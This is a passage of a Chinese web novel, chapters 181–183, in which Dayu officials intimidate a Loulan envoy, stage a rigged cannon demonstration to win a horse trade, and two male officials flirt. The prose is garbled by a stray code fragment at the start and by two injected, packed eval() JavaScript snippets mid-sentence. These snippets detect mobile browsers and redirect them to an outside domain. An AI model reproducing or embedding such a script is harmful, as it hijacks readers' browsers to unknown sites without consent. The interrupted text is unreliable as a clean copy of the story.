0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈黎卿自从身居后位,诸多规矩束缚着,燕修延也早已成家,往日能陪她说笑解闷的人寥寥无几,她便平日里来找凤嫔说笑闲谈。 凤嫔性情爽朗没事就找舞姬们来玩,一来二去,这群女子胆子也渐渐大了,说起惩处之语毫无顾忌。 凤嫔扶着沈黎卿只当陛下在询问自己的意见,从容开口显然也动了真怒:“陛下,既然他触犯宫规、辱我大虞,便先派人知会楼兰使团。若他们不求情便将此人押往菜市口当众剐了吧。” 虞睿祥命苏公公将气息奄奄的阿赫连漠抬下去交由太医诊治,同时派人出宫前往驿馆传唤楼兰使团入宫。 楼兰使团一行人本已行至驿馆门外,听闻宫中突发巨变,不敢耽搁,立刻调转方向,匆匆折返皇宫。 国师走在队伍前方,面上满脸焦灼忧虑,脚步仓促,可眼底深处却是一片解气与快意。 众人一路行至殿中,抬头便见到躺在地上、面色惨白、痛得浑身颤抖的阿赫连漠,场面一时凝重无比。 太医简单止血止痛,名贵疗伤药剂一律都没给他用上。 燕修延端坐于虞睿祥下首,面容覆上一层寒霜,目光扫过楼兰众人,字字铿锵细数过往事端:“贵国出使,桩桩件件皆是事端不断。头一回使团来访,贵国公主行事肆意、不守规矩;楼兰大王子更是仗势欺人,硬生生逼死我大虞一主一仆。如今二次出使,堂堂使臣竟胆大妄为私闯后宫,欲行龌龊不轨之事……” ———————————— 礼部尚书:我喜欢当面蛐蛐人是跟燕大人学的 其他大臣:你也不学点好的 刑部尚书:嗯,当面蛐蛐人比背地蛐蛐人光明磊落,是个好习惯。 其他大臣:……这都能夸上?!行吧,你护着你有理 181. 搞得跟上古神仙斗法似的 燕修延修长的五指轻抬懒懒搭在腰间佩剑的剑柄上,微凉的拇指轻轻一推—— “铮。” 一声清越剑鸣细碎炸开,寸许雪亮剑刃脱鞘而出,寒光乍然流转笔直刺向殿中一众楼兰使臣的眼底,亮得人双目刺痛。 监察司正使的杀意从来坦荡直白,从无半分遮掩。 那双惯于洞察罪案、冷澈如寒潭的眸子,此刻凝着层层霜雪,锐利如出鞘锋芒,直直钉在为首的楼兰使臣身上,威压沉沉覆下。 他唇线绷得笔直,嗓音清冽低沉,字字掷地有声:“诸位远道而来,真当我大虞无人,不敢一战?” 虞睿祥端然而坐,神色淡漠从容,狭长的凤目淡淡扫过殿中众人,将每一个楼兰使臣惶然紧绷的神色尽收眼底,视线掠过不远处的谢伟恒时,脸上的表情差点没绷住。 谢伟恒虽然面上瞧不出什么表情,可那双深邃的眼眸自始至终都落在燕修延身上,目光滚烫炙热,带着毫不掩饰的贪恋与占有。 燕修延此刻剑露锋芒、戾气毕露,这般生人勿近的凛冽模样足以吓晕殿内胆小的。谢伟恒可好,像是想随时将这一身锋芒傲骨的燕修延强行拖上床。 楼兰使团的人无暇去注意谢伟恒的神色,他们尽数被燕修延这句暗藏战火的质问惊得心神剧震。 不过是不小心醉酒误入后宫禁地,阿赫连漠还被阉了,在他们看来只是一场无伤大雅的域外失礼闹剧,至多赔礼道歉便可揭过。 谁也未曾想到大虞这位杀伐狠绝的监察司正使,能凭着这一桩小事直接将事态拔高到两国开战的地步! 他们下意识齐齐转头,目光齐刷刷投向阿赫连漠。 阿赫连漠此刻早已没了半分使臣的体面傲气,狼狈匍匐在地。 下身剧痛翻涌不止,撕裂般的痛感密密麻麻啃噬着五脏六腑,汗如同断了线的珠子,源源不断从额角、鬓边滚落,浸湿了额发,糊住了双眼。 他牙关死死咬紧,唇瓣被啃得泛白干裂,浑身控制不住地微微颤抖,疼得眼前发黑、气若游丝,连一句完整的辩解话语都无力吐出,只能死死憋着喉间的痛哼,任由极致的痛楚将自己裹挟。 国师静静立在使臣队列最前,待所有人的目光尽数汇聚过来,才缓缓上前半步。 他收敛眼底一闪而过的算计,面上堆起十足的惶恐恭谨,对着御座深深躬身:“皇帝陛下息怒,楼兰举国皆是诚心与大虞交好的,绝无半分挑衅冒犯之意。阿赫连漠此番行径实属醉酒失性、走错了。” 话音未落,寒光再闪。 燕修延眸底戾气更盛,手腕微微一沉,腰间长剑骤然出鞘大半,雪亮剑刃带着破风轻响笔直扎入阿赫连漠颈侧寸许的地面! “笃——” 长剑入地三分,稳稳伫立,震颤的剑身在天光下漾开层层冷光。 锋利无比的剑刃堪堪贴着阿赫连漠颈侧的皮肉划出一道血口,细密的鲜红血珠瞬间渗出,顺着脖颈缓缓滑落。 “哎呀。” 燕修延轻启薄唇,语气漫不经心的带着几分慵懒戏谑,仿佛真的只是酒后失度、随意撒疯,眉眼间却无半分歉意:“我喝醉了,一时失手撒撒酒疯而已。” 紧贴脖颈的剑锋带来极致的死亡恐惧,原本还在地上扭动、试图缓解痛楚的阿赫连漠瞬间浑身僵硬,四肢尽数僵住,连呼吸都不敢大力,整个人死死钉在地面上,瞳孔骤缩,满心都是濒死的惊惧。 国师也吓了一跳,后背渗出一层薄汗,连忙再度拱手急声劝阻:“这位大人手下留情!万万不可!他乃是楼兰国王亲宠的近臣、身份不菲,若在大虞殿中受损恐伤两国邦交!” “与我何干?” 燕修延轻笑一声,嗓音冷冽散漫带着权倾朝野的肆意妄为。 他缓步上前,袍摆随着步履轻轻扫过地面,俯身抬手利落拔出扎在地上的长剑,雪亮剑刃寒光流转,轻轻抵在阿赫连漠的脖颈大动脉之上,微微摩挲比划:“我只是醉酒撒疯,有问题么?况且,我亦是大虞天子亲宠的臣子,难道我就不能任性一次?” 虞睿祥嘴角几不可查地一抽,还真会给自己戴高帽子。 要点脸行不行啊。 “皇帝陛下!你看这、这……” 国师指着燕修延,看向御座上的皇帝,他知道燕修延敢这般肆无忌惮、当庭胁迫域外使臣,肯定是皇帝默许的。 他得做出为阿赫连漠竭力周旋的模样:“皇帝陛下,我们回驿馆就派人赶回楼兰,将阿赫连漠的过失据实禀报国王陛下,给大虞一个满意答复!您看可否让我们先把他带回去医治。” 虞睿祥神色平淡,从容开口,声音不高却带着帝王独有的威压:“贵国使团随行可有医者?” 国师连忙应答:“使团并未携带医者,但我略通岐黄之术,可自行医治。” “既如此……” 虞睿祥微微颔首:“便将他留在宫中,由太医先行诊治,妥善处理伤口,以免延误伤情。” “这……” 国师眼底掠过一丝浓重的犹豫与忌惮,下意识转头看向身后一众使臣。 把阿赫连漠留在宫中便是人为刀俎我为鱼肉。 大虞若是心存惩戒,事后只需一句救治无效、伤势过重便可搪塞所有,楼兰根本无从辩驳。 跟阿赫连漠交好的使臣跨步出列:“皇帝陛下!国师的医术医治阿赫连漠是绰绰有余,无需劳烦大虞太医,还望皇帝陛下恩准我等带回阿赫连漠!” “也罢。” 虞睿祥看破他们心中忌惮,不再刁难,随意摆摆手:“你们将人带回驿馆休养吧。” “多谢皇帝陛下宽宏大量!” 国师躬身行礼,语气满是感激。 虞睿祥不再多言起身拂袖离去,身后一众宫人内侍躬身紧随,步履轻疾转瞬便尽数退出殿内。 御医快步上前,迅速为阿赫连漠敷上止血灵药、简单包扎伤口,而后也躬身退离。 燕修延收剑归鞘与谢伟恒并肩离去。 偌大的殿内转瞬只剩一众神色复杂的楼兰使臣。 他们面面相觑,气氛凝重压抑。 “大虞不派人把阿赫连漠抬回驿馆?” “未免太过失礼了!” “失礼?” 国师转头眼底盛满冰冷讽刺,居高临下地睨着地上奄奄一息的阿赫连漠:“他私自闯入大虞后宫,还好意思怪大虞失礼?大虞仅仅薄惩、留他性命,已然是天大的宽容!换做是你们,擅闯国王后宫还能活着站在这里?” 一众使臣哑口无言,脸上的愤愤尽数褪去只剩窘迫沉默。 国师眸光扫过众人:“你们平时跟阿赫连漠关系好的很,方才那位大人持剑威慑时没一个说话的!我那点粗浅医术把阿赫连漠医死了,你们这群人回去还不知道怎么跟国王陛下推诿罪责栽赃于我!” 说完,国师再不看众人转身离去。 可就在转身的刹那,他脸上愤愤不平、满心失望的神色尽数褪去,眉眼间只剩一抹隐秘的得意。 阿赫连漠此番自作自受、作死招祸,当真大快人心。 他才不去抬阿赫连漠。 其他使臣无可奈何只能合力七手八脚抬起剧痛难忍、浑身颤抖的阿赫连漠,狼狈不堪地折返驿馆。 国师不紧不慢地为阿赫连漠查看伤势,拆开御医包扎的绷带随意处理了脖颈处停止渗血的伤口,缠上布条便作罢。 观望的使臣忍不住开口询问:“他下身伤势最重、痛楚最剧,你为何不予诊治?” “你让我怎么治,回来的时候你也看见城中药铺早就关门了” 国师垂眸清洗双手,水盆中清水澄澈,他漫不经心地扯过一旁干净麻布擦净指尖水渍:“他那里的伤我看过了,大虞御医所用都是好药,止血奇效,伤口表层已然结痂稳固,无需额外处理。” 确实是“好”药,他嗅出那止血灵药中暗藏一味特殊辅药。 此药止血效果绝佳,却有一处阴狠弊端——会持续放大伤口痛感,让伤者无时无刻承受着钻心蚀骨的剧痛。 “都散了休息吧,所幸大虞皇帝并未深究罪责,此事已然揭过,无需多虑。” 阿赫连漠死死攥紧被褥,细密的痛汗浸透衣衫,浑身剧痛让他意识恍惚、眼前阵阵发黑。 他强撑着一丝力气,咬牙切齿:“怕什么!他们有求于我们楼兰!” “糊涂至极!” 国师抬眼,眸光冰冷锐利:“大虞若真决意开战,你觉得区区楼兰一隅之地当真能够抵挡?” 阿赫连漠被剧痛冲昏头脑,愈发暴躁,猛地抬手狠狠拍击着床板,发出沉闷声响,怒声质问:“当然能,你句句维护大虞!处处长他人志气!莫非是收了大虞的好处,通敌叛国?” 国师眸光沉沉扫过在场所有使臣,将众人眼底潜藏的侥幸与傲慢尽收眼底,语气冷冽凝重:“我知晓你们所有人都与他一般想法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646339|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自持楼兰铁骑良马天下无双,轻视大虞武力。明日大虞演示雷火炮神威,我倒要看看,届时你们是否还能保有今日的狂妄底气!” 说罢,他转身推门走入自己的房间,反手紧闭房门。 国师闭上双眼,双手合十低声祈愿,但愿大虞的雷火炮当真拥有传闻中的雷霆神威。 唯有大虞武力震慑楼兰,方能保大王子平安脱离险,安然归国。 “诸位使臣看好!此物名为雷火炮,拥有九天雷霆之威、震碎山河之力!” 易容成工部侍郎的温瑞身姿挺拔,意气风发的向楼兰使臣介绍雷火炮。 “只需将雷火弹由此填入炮膛,点燃引信便可远程发射、轰击敌阵。诸位请看前方那块千斤巨石!” 众人顺着他手指的方向望去,尽头立着一块丈高巨石,坚硬厚重,浑然一体,寻常投石机、弓弩根本无法撼动分毫。 温瑞指尖利落点燃引信,滋滋的燃线声响清脆入耳,火星簌簌跳跃。 “顷刻此石便会化为齑粉碎石!” 话音刚落,引信燃尽。 “轰——!!!” 一声震彻天地的巨响骤然炸开,惊雷般的轰鸣声席卷整个场地,震得人人耳膜嗡鸣、心神震颤。 火光冲天而起,硝烟滚滚弥漫,呛人的火药味四散开来。 坚硬无比的千斤巨石在剧烈爆炸中崩裂、炸开,无数碎石碎屑飞溅四方,漫天洒落。 待硝烟稍稍散去,众人定睛望去,方才厚重巍峨的巨石已然彻底化为碎块,地面之上赫然浮现出一个深达数尺的焦黑深坑,周遭土地尽数被炸裂翻涌,满目狼藉,威力骇人至极! 温瑞挺胸昂首,满脸得意傲然:“我大虞此等武器乃是匠心十五年大成之作!昔日沙场称雄的投石机在雷火炮面前,不过是老朽垂暮的曾曾曾孙!” 燕修延从袖中抽出一张折叠整齐的宣纸,随手递到谢伟恒面前。 纸上密密麻麻写满了工整字迹,皆是温瑞亲笔撰写的雷火炮夸赞文案,辞藻极尽浮夸华丽,笔墨铺张至极。 什么雷火炮一出、九天乌云密布、狂风骤起,什么飞沙走石、天地变色、暗无天日。 搞得跟上古神仙斗法、天劫降临似的。 谢伟恒扫过纸上荒诞浮夸的文字,狭长的眼尾微微扬起,溢出一抹温润笑意,看向燕修延低声宠溺道:“文笔浮夸空洞,不及燕大人分毫。” 燕修延指尖刚要将纸张折好收回袖中,随口得意道:“那是自然……哎你做什么?” 谢伟恒把宣纸拿走:“不必收着,烧了便是。” 不等燕修延反应,一枚温热的火折子已然亮起微弱明火。 星火舔舐纸页,迅速蔓延整片纸面,漆黑灰烬簌簌飘落,不消片刻,满纸浮夸文案便焚烧殆尽,消散风中。 “……幼稚了,谢书令。” 燕修延看着飘散的灰烬,无奈摇头轻笑,眼底无半分责怪。 二人低语轻笑,全然不在意不远处一众已然失神的楼兰使臣。 此刻的楼兰众人早已被方才惊天动地的爆炸威力惊得目瞪口呆、心神巨震,人人僵立原地,瞳孔骤缩,脸上的狂妄侥幸尽数碎裂,只剩满心的震撼与惊惧,久久无法回神。 工部放弃继续研制雷火炮有三个原因:一是炮体极易高温炸膛,二是射程短浅、难以远攻,三是时常出现落地不炸、哑弹失灵的情况,根本无法投入大规模沙场作战。 今日演示的这门火炮,更是暗藏诸多手脚。 为营造威力无穷的假象,特意将使臣安置在极远区域,又以“扩大杀伤波及范围”为由掩人耳目。 炮身暗藏数根纤细透明的蚕丝引线,悄悄拉长弹射距离;那千斤巨石之上提前铺满细碎雷火弹,石底深埋足量炸药,炮□□出的雷火弹仅仅是引子,落地瞬间触发连环爆炸才造就了石碎地陷、雷霆万钧的震撼场面。 虞睿祥双手负于身后,身姿端然沉稳,面色波澜不惊,眼底无半分波澜,静静看着惊魂未定的楼兰使臣:“朕想要楼兰的马,一则不愿因争端引发两国战火、致使边境生灵涂炭、百姓流离;二则不愿楼兰因骤减战马、国力受损,遭周边诸国觊觎入侵、腹背受敌。故而朕愿以自研雷火炮技术相赠,互利共赢,但……” 燕修延适时上前半步,接过话茬,嗓音清冽冰冷:“但楼兰使团自入京以来,嚣张失礼、屡生事端,半点与大虞交好的诚意都未曾显露分毫。” 182. 昨夜我已经很老实了 国师对着虞睿祥深深躬身行礼,语气拿捏得恰到好处,谦和又不失邦交分寸:“皇帝陛下思虑周全,心怀天下、宅心仁厚,我楼兰国王亦是这般体恤子民、心怀赤诚之人。” 他抬眸从容解释为什么这次只带了五百匹马:“国中战马皆由百姓散养于各地旷野,四散各处难以集齐故而国王陛下特意令我等先携五百良马入京,先行奉上以此表楼兰对大虞的敬畏与交好诚心。” “哦?” 虞睿祥眉梢轻轻一挑,唇角漫开一抹浅淡的笑意,看似全然信了这番说辞,正要顺势接话:“既然如此,朕稍后便选派几名精工良匠……” 谢伟恒身姿挺拔,步履轻缓无声,俯身凑至虞睿祥身侧压低嗓音:“陛下,臣方才收到边境密报,车师国主动遣使联络愿向大虞售卖优质战马。车师毗邻大虞边境,路途近便,其产战马体魄壮硕、爆发力极强且耐力远胜楼兰马。若购车师战马此前许诺的雷火炮,我们便无需再对外赠予。” 他的声音很小,只有离得近的国师和另外两名楼兰使臣听见了。 三人心口一沉,后背泛起一层薄汗,瞳孔微微收缩,心底皆是狠狠一“咯噔”。 虞睿祥眼底笑意微深,转瞬便收敛了话头,语气悠然一转,带着几分宽容大度:“也罢,楼兰远赴大虞,路途千里迢迢实属不易。拢共一千匹马朕便按市价购入,劳烦诸位归国之后替朕向楼兰国王致歉。” 未曾听清谢伟恒密语的使臣一脸茫然,面面相觑,满心疑惑不知皇帝为何骤然改了口。 听清内情的同伴连忙俯身,快速将话低声转述。 没见识雷火炮威力之前,大虞皇帝这么说,其他使臣巴不得这样。 可见识过那般雷霆威力之后,谁舍得轻易放弃? 而国师则是惦记着被扣在大虞的大王子。 大虞变卦了,此番交易作废,那大王子下场将会如何? 虞睿祥神色淡然不再多谈交易之事,抬手对身侧内侍淡淡吩咐:“将雷火炮妥善封存,严加看守不得有任何差池。” 使臣彻底沉不住气,语气急切又带着几分卑微的恳求:“皇帝陛下!楼兰是万分愿意用战马换取雷火炮的!您为何……” 燕修延轻嗤一声,语气惋惜又带着毫不掩饰的嫌弃:“可惜啊,如今我们有更好的选择了。车师马各方面皆优于楼兰马,何必再执着于你们的马匹。” 其实两国战马品质相差无几,当着楼兰众人的面自然要夸车师马的好,彻底断了对方的底气。 国师抬手按住意欲继续争辩的人,压下众人的躁动,再度躬身,神色愈发诚恳:“皇帝陛下,我国王早已下令集齐千匹战马,此刻后续马匹恐怕已然整装上路,日夜兼程奔赴大虞。” 虞睿祥微微蹙眉,眸光微动,一副面露迟疑、权衡斟酌的模样。 燕修延见状顺势上前,语气急促,一副为家国权衡利弊的急切模样:“陛下!事不宜迟,速速快马传信楼兰让他们别送了!” 谢伟恒轻轻摇头,声音沉稳出言阻拦:“不可,若马已然启程上路,我们再临时遣使令其折返便是大虞公然出尔反尔,有损大国威仪,落人口实。” 这话点燃了燕修延的火气,他愤愤不平,语气带着少年人的桀骜与恼火,音量陡然拔高几分:“出尔反尔怎么了?是他们行事磨磨蹭蹭、毫无诚意!早早爽快交易何来这些事端?!陛下你可要想清楚!车师战马无需我们付出任何珍稀武器,只需平价购入便可!那可是雷火炮!真金白银都买不来的雷火炮!” 温瑞在一旁垂首敛眸,悄悄抬眼看炸毛的燕修延,嘴角死死抿紧,憋得肩头微微发颤,想笑却半点不敢表露。 他们头儿演起戏来分寸拿捏得恰到好处,叫人看不出破绽。 “修延。” 虞睿祥淡淡开口,声线不高却带着帝王独有的帝王压制。 燕修延像是被按住气焰,满腔火气硬生生憋回去,不甘地闭紧嘴巴,腮帮微微鼓起,活脱脱一副委屈又憋屈的模样。 沉默不过瞬息,他按捺不住又小声嘟囔:“车师马是真的不用换雷火炮唉……” 虞睿祥再次抬眸淡淡扫去一眼时,燕修延识趣收声,脚步一动干脆躲到谢伟恒身后,乖乖安分下来。 楼兰使臣见昨晚还杀伐凌厉、气场慑人,眼神冷厉如阎王的燕修延在雷火炮的事情上反应如此大,更加坚定了想要得到雷火炮的念头。 国师眸光沉沉,再度拱手,语气愈发恳切,极力挽回局势:“车师马确实好,但论长途奔袭的持久耐力还是不及我们楼兰战马的,国王陛下思虑周全,还特意遴选二十名资深马倌随战马同来,一路照料驯养,保所有战马体魄康健,可供大虞长期征用驱使。” 虞睿祥神色依旧平淡,不点头、不否决,神色从容不迫,拿捏着十足主动权:“时辰不早了,朕尚有要事待处理,此事容后再议,待朕理清公务自会给诸位一个答复。” 楼兰使臣心急如焚,下意识再度开口阻拦。 下一瞬,寒光乍然出鞘! 燕修延跨步而出,凛冽剑光映着他眼底狡黠又桀骜的笑意,挡在楼兰使臣身前:“陛下公务繁忙,日理万机,诸位使臣请先行回驿馆等候,莫要干扰圣驾。” 国师知晓此刻再纠缠只会适得其反,抬手示意众人收敛。 一行人步履匆匆离开,尚未走远,身后便再度传来燕修延带着不满的低语,字字清晰落入众人耳中:“若是车师国的消息能早几日传至京城,何须跟楼兰这般拖沓周旋?磨磨唧唧全无诚意,白白耽误功夫。” 谢伟恒温和平稳的安抚他:“陛下自有定夺,楼兰马与车师马各有所长,利弊权衡陛下心中有数。” 燕修延冷哼一声,把长剑插回剑鞘,转身离开。 国师脚步一顿,回头看了眼又扫向眼前方引路的宫人,薄唇紧紧抿起。 半路杀出一个车师国,硬生生打乱了他的所有筹谋。 回到驿馆,国师看向躺在床上、面色阴郁的阿赫连漠,语气平静无波:“执笔修书,传信回国,告知国王此处变故。” 阿赫连漠没去看雷火炮,他眼皮都未抬一下,对他们口中神乎其神的雷火炮将信将疑。 又听说车师国要卖马给大虞,他满是嘲讽地嗤笑出声:“这么巧?我不写,让大虞结清一千匹战马的银两,我们即刻归国何必多费口舌。” 隔壁的隔间里,燕修延正与谢伟恒隐匿于此,隔墙窃听。 听见阿赫连漠这番反常的强硬说辞,燕修延忍不住低低“咦”了一声,眼底满是新奇。 奇了,阿赫连漠这蠢货怎么突然长脑子了? 哦,应该是昨日那里受了重创、残缺其身,蠢气散去,所以长脑子了。 谢伟恒低低含笑,一语道破本质:“不是长了脑子,是纯粹执拗杠精心性。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646340|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>旁人越是想要的,他偏越要推开。 昨天在宫里丢了那么大的脸,身体又落得终生残缺、再无子嗣的下场。 阿赫连漠现在已经恨毒大虞上下,满心都是怨怼。 燕修延微微动了动肩膀,语气带着几分无奈:“别趴我身上,沉得很。” 谢伟恒坐在旁边的椅子上,拉着燕修延稳稳按坐在自己腿上,掌心扣着他的腰腹,嗓音低沉缱绻:“不沉,刚刚好。” 燕修延无奈侧目抬手不轻不重地捏了捏谢伟恒的脸颊,以示惩戒。 继续凝神偷听隔壁的动静。 国师的声音平静响起,带着几分置身事外的淡漠:“书信是他不肯写的,也是他擅自闯入大虞皇帝的后宫,该规劝的、该周全的,我已然尽数做到,仅此而已。” 言罢,脚步声响起,国师转身离去,将一室争执与难题尽数抛下。 他知道,亲眼见过雷火炮神威的使臣,绝不会甘心放弃这桩交易,自然会有人轮番劝说阿赫连漠,无需他再多费唇舌。 果不其然,国师一走内室瞬间响起七嘴八舌的劝说声,急切又恳切。 “你万万不可意气用事!那雷火炮的威力绝非虚言!一炮轰鸣便能炸裂厚重城墙,碎石纷飞、势如雷霆!有了这等武器,楼兰不止能固守国土更能扩张疆域、震慑周边诸国!” “车师国的出现确实太巧啦,但大虞皇帝的态度转变很大,如今他们有了替代选择,咱们的战马便没了稀缺性,所以应该是真的,只不过凑巧罢了!” “你没听见那个官员的话?他们肯定也联系车师国了,现在车师国答应了,咱们就不吃香了!” “不对……我有点不解,雷火炮这般无敌的武器,大虞为何还要执意收购战马?武器在手何须蓄养马匹?” “你忘了?国师听他们的兵士说雷火炮造价极其昂贵,耗费无数钱粮人力,造一具难如登天。马可以生小马,雷火炮生不出小雷火炮啊!” “也是,我们都是亲眼所见,大虞十人合力才抬动一具雷火炮,还用顶级锦缎严密遮盖,视若珍宝,可见其贵重程度!” 阿赫连漠靠在床头,脸色阴沉铁青,眼底翻涌着不甘、怨恨与偏执。 他受尽屈辱早已无心家国宏图,只记恨大虞娘们让他终生残缺、毁他一生,闻言只冷冷开口,一语戳中要害:“此物造价昂贵至极,纵然大虞赠予我们,以楼兰国力又能用得起几次?不过是摆设罢了。” “可大虞应允会赠予雷火弹!省着使用,足以镇守边关、威慑外敌!” “我听大虞皇帝没说完的话,似乎打算派遣工匠远赴楼兰传授我们制作雷火弹的技艺!这才是最珍贵的机缘!” “他们挺会找补的。” 燕修延听得直乐呵,唇角始终挂着淡淡的笑意。 谢伟恒的手掌不知何时悄然游走,顺着腰线缓缓下移,动作温柔又带着几分缱绻的试探。 燕修延指尖一扣,稳稳按住作乱的手,语气带着几分慵懒的警告:“老实点,偷听正事呢。” 谢伟恒低头,唇瓣轻轻含住燕修延的耳垂,嗓音低沉沙哑,裹挟着未尽的缱绻情意:“昨夜我已经很老实了。” 昨夜看到那样的燕修延,谢伟恒恨不得直接将人绑到床上,做到精疲力竭。 燕修延身形微僵,顿了两息,语气平平、敷衍至极:“……哦,那你可真厉害,棒棒的。” 183. 今日暂且休耕 “阿赫连漠,事已至此,你赶紧修书一封送回王城禀明国王陛下吧!” “没错!雷火炮之事干系太大,绝非我们几人能擅自决断的,一切该由国王陛下定夺!” 众人七嘴八舌的劝说落在耳中。 阿赫连漠五指死死攥紧,指节泛出青白,他知道他们说的有道理,可心底那股骄傲自负的傲气让他无论如何都咽不下这口憋屈气。 若是赌气拒不传信,待到归国之日,国王一旦得知错失掌控雷火炮的机会,定然会将所有罪责归咎于他,届时便是万劫不复的罪责。 良久,阿赫连漠胸腔起伏数次,终究是压下心中不甘,冷沉着脸颔首,勉为其难应下了传信之事。 他刚铺开雪白信纸,身旁一名使臣提醒:“国师此前言明,同行的还有二十名楼兰马倌,在大虞教习牧马驯马之术。” 阿赫连漠手腕猛地一僵,指骨用力,坚硬的狼毫笔杆几乎要被他生生捏断,笔毛炸开,墨汁溅在素白信纸上,晕开一团丑陋的墨痕。 他双目赤红,满是难以置信的震怒,声音压得极低却裹挟着彻骨的戾气:“他怎么敢张口就来的!他好大的胆子!教会大虞人牧马驯马,养出千里良驹,来日岂不是要调转马头,凭着精锐铁骑踏平楼兰国土!” “想多了。” 燕修延斜倚在窗边,指尖漫不经心地摩挲着窗棂雕花,眉眼间盛满了毫不掩饰的嫌弃。 楼兰地域贫瘠、物产单薄、粮草匮乏,交通闭塞,除却几分地利优势,再无长处。 啥啥都不丰富,根本犯不着耗费人力物力、千里迢迢远征这蛮荒之地。 嫌弃。 一名心思通透、看清局势的楼兰使臣垂着眸,低声嗫嚅附和:“其实……大虞这般天朝上国……也不稀罕大咱们吧……” “蠢货!一派胡言!” 阿赫连漠几乎要被这话气死,他转头瞪向说话之人,眼底戾气翻涌,厉声怒斥:“你怕是早就被大虞人的金银富贵收买了!还有国师,你们个个都包藏祸心!一群卑贱的墙头草!” 被无端痛骂的使臣脸色一沉,心底的委屈与不忿尽数翻涌上来,硬气回怼:“你何必盲目自大!昨日宴会之上,大虞宫人闲谈我听得清清楚楚,他们说楼兰全境堪堪抵得上大虞一个江南府而已!你这般傲气究竟从何而来?” 此言一出,无异于火上浇油。 阿赫连漠怒火攻心,脑子一片滚烫,抬手便要扫落桌案上的砚台纸笔,欲当众动手。 周遭使臣大惊失色连忙一拥而上,死死按住他的手臂,竭力劝阻拉扯。 混乱的拉扯动作,狠狠牵扯了他身上的伤口。 细密尖锐的痛感穿透皮肉,蔓延四肢百骸。 阿赫连漠浑身一颤,脊背绷紧,倒抽一口冷气,额角渗出一层细密的冷汗,浑身力道骤然泄尽,连呼吸都变得粗重急促。 缓了许久,他才勉强压下剧痛,咬牙憋出一句色厉内荏的辩驳:“大虞疆域辽阔不过是他们运气好,天生占了沃土良田而已!算不得真本事!” “阿赫连漠,不管他们的命好不好,你速速把书信写妥送走,不然日后国王陛下追责于你,我等有言在先,绝非是我等阻挠!” 阿赫连漠死死咬着后槽牙,心头积满郁结与憋屈,落笔沉重,一字一句皆是满心愤懑,草草写完书信,吹干墨迹,狠狠掷在桌上。 随行仆从连忙上前拾起信纸,贴身藏好,快步牵过院外等候的骏马,翻身上马,扬鞭策马,朝着楼兰的方向疾驰而去。 听见隔壁摔砸器物的脆响、怒骂的余音断断续续传来。 燕修延拿开谢伟恒轻轻覆在他腰间的手站起身,唇角勾起一抹凉薄的嗤笑:“大虞万里河山、沃野千里从来不是靠运气得来,皆是祖辈世代开荒拓土、治水固堤、励精图治,一寸寸打拼开垦而出。再好的山河沃土,无人耕耘治理、无人镇守守护,终究只是荒芜废土罢了。” “燕大人所言字字珠玑,句句在理。” 谢伟恒紧随其后起身,身姿挺拔温润,眼底盛着对燕修延全然的认同与温柔。 两人并肩转身,循着僻静的侧门,悄无声息离开了驿馆。 “时辰尚早,并无公务缠身,可要去芙蓉池坐坐?” 燕修延脚步一顿,狭长的眼眸微微斜睨着他,语气带着几分无奈的提醒:“明日需要早朝。” 谢伟恒唇角弧度愈发柔和,微微俯身凑近他耳畔:“正因明日早朝,今日才该松弛休憩。此刻前往尽兴而归,夜里安睡休整,恰好不误朝事。” “……我不是地,你也别真把自己当老黄牛。” 燕修延白了谢伟恒一眼,抬手屈指轻轻叩在他光洁的额头上:“谢大人年轻气盛便日日贪欢不知节制,当心年岁渐长日后力不从心。” “昨夜已然好生歇息,精力充沛,无碍。” 谢伟恒动作极快,一只手稳稳扣住燕修延落在自己额间的手紧紧按向胸口,另一只手揽住他的腰将人轻轻带进自己怀中:“不贪久,就一次,可好?” 燕修延抬眸看着两人相贴的身形,眼底漾开浅浅笑意:“你这话我可半点不信。” 谢伟恒将他抵到墙上,嗓音染上几分哭腔的鼻音:“哥哥,天色尚早,今日难得清闲无琐事。” 燕修延翻了个白眼,事多又不妨碍谢伟恒晚上拉着他继续“办事”。 “在外少这般撒娇,被旁人撞见又要传出无数捕风捉影的荒唐流言。” 谢伟恒全然不在意,指尖勾住燕修延的指缝,十指相扣:“那……” 燕修延被他缠得无奈,抬脚轻轻踩了下他的鞋面:“行了,走吧,去芙蓉池。” 芙蓉池后厨厨子的手艺是一绝,荤素点心、汤羹膳品各有精妙,与府里私厨的风味截然不同,各有千秋。 就当是去吃饭了。 芙蓉池生意一直不错,座无虚席,寻常权贵便是排队半日,也未必能得一间清净私汤房。 若非谢伟恒吩咐固定预留一间,次次前来都需排队等候。 谢伟恒低声嘱咐后厨备好精致吃食,文火慢煨保温,静待二人休憩完毕再呈上。 “什么叫温火煨着?” 燕修延悄悄将谢伟恒拉到一旁:“你打算……多久?” 谢伟恒垂眸望着他眼底闪烁的细碎精光,故作无辜地眨眨眼:“燕大人与我朝夕相伴,难道还不清楚我么?” 燕修延可太清楚谢伟恒了。 他转身要迈步往外走。 下一瞬,腰身被温热有力的臂膀牢牢箍住。 谢伟恒从身后轻轻拥着燕修延,下颌抵在他肩窝,低笑的嗓音尽数洒在他颈间:“既然来了这里,燕大人觉得还能轻易走掉?” “咦?这不是燕大人、谢大人么?真是好巧!” 